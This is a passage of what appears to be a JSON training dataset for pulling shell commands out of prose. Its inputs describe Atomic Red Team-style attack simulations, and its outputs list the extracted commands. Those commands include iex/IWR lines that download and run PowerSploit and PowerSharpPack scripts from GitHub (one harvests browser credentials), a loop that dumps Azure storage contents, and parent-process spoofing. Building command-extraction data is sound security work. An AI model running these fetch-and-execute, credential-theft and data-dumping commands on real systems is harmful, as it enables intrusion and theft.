    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-ForestTrust -Verbose\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    By executing the following command, you'll create a notepad.exe process and make powershell.exe run as its child: Start-Process -FilePath #{parent_name} -PassThru | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'",
    "output": "{\"command_list\": [\"Start-Process -FilePath #{parent_name} -PassThru | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To dump the contents of storage account objects from a predefined CSV file (created in test T1619 or manually with specific columns), run this command:\n$storage_account_objects = Import-Csv -Path \"#{storage_account_objects_csv_file_path}\"\n\n# Login to Azure\naz login\n\nif (-not (Test-Path -Path \"#{output_folder}\")) {\n    New-Item -ItemType Directory -Path \"#{output_folder}\"\n}\n\nforeach ($row in $storage_account_objects) {\n    \n    if ($row.FileShareName -ne \"\"){\n        $allowSharedKeyAccess = az storage account show --name $row.StorageAccountName --resource-group $row.ResourceGroup --query \"allowSharedKeyAccess\"\n\n        if ($allowSharedKeyAccess -eq \"false\") {    # $allowSharedKeyAccess could be true or null\n            Write-Output \"Shared key access is disabled for this storage account.\"\n        } else {\n            Write-Output \"Fetching content from file share: $($row.FileShareName) in storage account $($row.StorageAccountName) ...\"\n            $connectionString = az storage account show-connection-string --name $row.StorageAccountName --resource-group $row.ResourceGroup --query connectionString --output tsv\n            \n            # Create folder for storage account objects\n            $storageAccountOutputPath = Join-Path #{output_folder} \"$($row.ResourceGroup)_$($row.StorageAccountName)\"\n            if (-not (Test-Path -Path $storageAccountOutputPath)) {\n                New-Item -ItemType Directory -Path $storageAccountOutputPath\n            }\n\n            # create folder for file share content\n            $fileSharePath = Join-Path -Path $storageAccountOutputPath $row.FileShareName\n            if (-not (Test-Path -Path $fileSharePath)) {\n                New-Item -ItemType Directory -Path $fileSharePath\n            }\n            az storage file download-batch --connection-string $connectionString --source $row.FileShareName --destination $fileSharePath\n        }\n    } elseif ($row.ContainerName -ne \"\" -and $row.BlobName -eq \"\") {\n        $allowSharedKeyAccess = az storage account show --name $row.StorageAccountName --resource-group $row.ResourceGroup --query \"allowSharedKeyAccess\"\n\n        if ($allowSharedKeyAccess -eq \"false\") {    # $allowSharedKeyAccess could be true or null\n            Write-Output \"Shared key access is disabled for this storage account.\"\n        } else {\n            Write-Output \"Fetching all blobs from container $($row.ContainerName) in storage account $($row.StorageAccountName) ...\"\n            $connectionString = az storage account show-connection-string --name $row.StorageAccountName --resource-group $row.ResourceGroup --query connectionString --output tsv\n            \n            # Create folder for storage account objects\n            $storageAccountOutputPath = Join-Path #{output_folder} \"$($row.ResourceGroup)_$($row.StorageAccountName)\"\n            if (-not (Test-Path -Path $storageAccountOutputPath)) {\n                New-Item -ItemType Directory -Path $storageAccountOutputPath\n            }\n\n            # create folder for blob content\n            $containerFolderPath = Join-Path $storageAccountOutputPath $row.ContainerName\n            if (-not (Test-Path -Path $containerFolderPath)) {\n                New-Item -ItemType Directory -Path $containerFolderPath\n            }\n            az storage blob download-batch --destination $containerFolderPath --source $row.ContainerName --connection-string $connectionString\n        }\n    }\n}",
    "output": "{\"command_list\": [\"$storage_account_objects = Import-Csv -Path \\\"#{storage_account_objects_csv_file_path}\\\"\\n\\n# Login to Azure\\naz login\\n\\nif (-not (Test-Path -Path \\\"#{output_folder}\\\")) {\\n    New-Item -ItemType Directory -Path \\\"#{output_folder}\\\"\\n}\\n\\nforeach ($row in $storage_account_objects) {\\n    \\n    if ($row.FileShareName -ne \\\"\\\"){\\n        $allowSharedKeyAccess = az storage account show --name $row.StorageAccountName --resource-group $row.ResourceGroup --query \\\"allowSharedKeyAccess\\\"\\n\\n        if ($allowSharedKeyAccess -eq \\\"false\\\") {    # $allowSharedKeyAccess could be true or null\\n            Write-Output \\\"Shared key access is disabled for this storage account.\\\"\\n        } else {\\n            Write-Output \\\"Fetching content from file share: $($row.FileShareName) in storage account $($row.StorageAccountName) ...\\\"\\n            $connectionString = az storage account show-connection-string --name $row.StorageAccountName --resource-group $row.ResourceGroup --query connectionString --output tsv\\n            \\n            # Create folder for storage account objects\\n            $storageAccountOutputPath = Join-Path #{output_folder} \\\"$($row.ResourceGroup)_$($row.StorageAccountName)\\\"\\n            if (-not (Test-Path -Path $storageAccountOutputPath)) {\\n                New-Item -ItemType Directory -Path $storageAccountOutputPath\\n            }\\n\\n            # create folder for file share content\\n            $fileSharePath = Join-Path -Path $storageAccountOutputPath $row.FileShareName\\n            if (-not (Test-Path -Path $fileSharePath)) {\\n                New-Item -ItemType Directory -Path $fileSharePath\\n            }\\n            az storage file download-batch --connection-string $connectionString --source $row.FileShareName --destination $fileSharePath\\n        }\\n    } elseif ($row.ContainerName -ne \\\"\\\" -and $row.BlobName -eq \\\"\\\") {\\n        $allowSharedKeyAccess = az storage account show --name $row.StorageAccountName --resource-group $row.ResourceGroup --query \\\"allowSharedKeyAccess\\\"\\n\\n        if ($allowSharedKeyAccess -eq \\\"false\\\") {    # $allowSharedKeyAccess could be true or null\\n            Write-Output \\\"Shared key access is disabled for this storage account.\\\"\\n        } else {\\n            Write-Output \\\"Fetching all blobs from container $($row.ContainerName) in storage account $($row.StorageAccountName) ...\\\"\\n            $connectionString = az storage account show-connection-string --name $row.StorageAccountName --resource-group $row.ResourceGroup --query connectionString --output tsv\\n            \\n            # Create folder for storage account objects\\n            $storageAccountOutputPath = Join-Path #{output_folder} \\\"$($row.ResourceGroup)_$($row.StorageAccountName)\\\"\\n            if (-not (Test-Path -Path $storageAccountOutputPath)) {\\n                New-Item -ItemType Directory -Path $storageAccountOutputPath\\n            }\\n\\n            # create folder for blob content\\n            $containerFolderPath = Join-Path $storageAccountOutputPath $row.ContainerName\\n            if (-not (Test-Path -Path $containerFolderPath)) {\\n                New-Item -ItemType Directory -Path $containerFolderPath\\n            }\\n            az storage blob download-batch --destination $containerFolderPath --source $row.ContainerName --connection-string $connectionString\\n        }\\n    }\\n}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Raspberry Robin technique can be simulated with the command that reads and executes a file through cmd.exe: cmd /r cmd<\"#{input_file}\"",
    "output": "{\"command_list\": [\"cmd /r cmd<\\\"#{input_file}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The system's current language can be determined by executing this command: chcp. The output number can then be correlated with language codes.",
    "output": "{\"command_list\": [\"chcp\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To use PowerSharpPack for searching browser credentials with the WinPwn technique, run the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Sharpweb.ps1')\nInvoke-Sharpweb -command \"all\"",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Sharpweb.ps1')\\nInvoke-Sharpweb -command \\\"all\\\"\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To mimic SessionGopher's functionality for lateral movement reconnaissance, use this script that enumerates domain computers via the command: $DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher(\"(ObjectCategory=Computer)\")\n$DirectorySearcher.PropertiesToLoad.Add(\"Name\")\n$Computers = $DirectorySearcher.findall()\nforeach ($Computer in $Computers) {\n  $Computer = $Computer.Properties.name\n  if (!$Computer) { Continue }\n  Write-Host $Computer}\n",
    "output": "{\"command_list\": [\"$DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher(\\\"(ObjectCategory=Computer)\\\")\\n$DirectorySearcher.PropertiesToLoad.Add(\\\"Name\\\")\\n$Computers = $DirectorySearcher.findall()\\nforeach ($Computer in $Computers) {\\n  $Computer = $Computer.Properties.name\\n  if (!$Computer) { Continue }\\n  Write-Host $Computer}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical 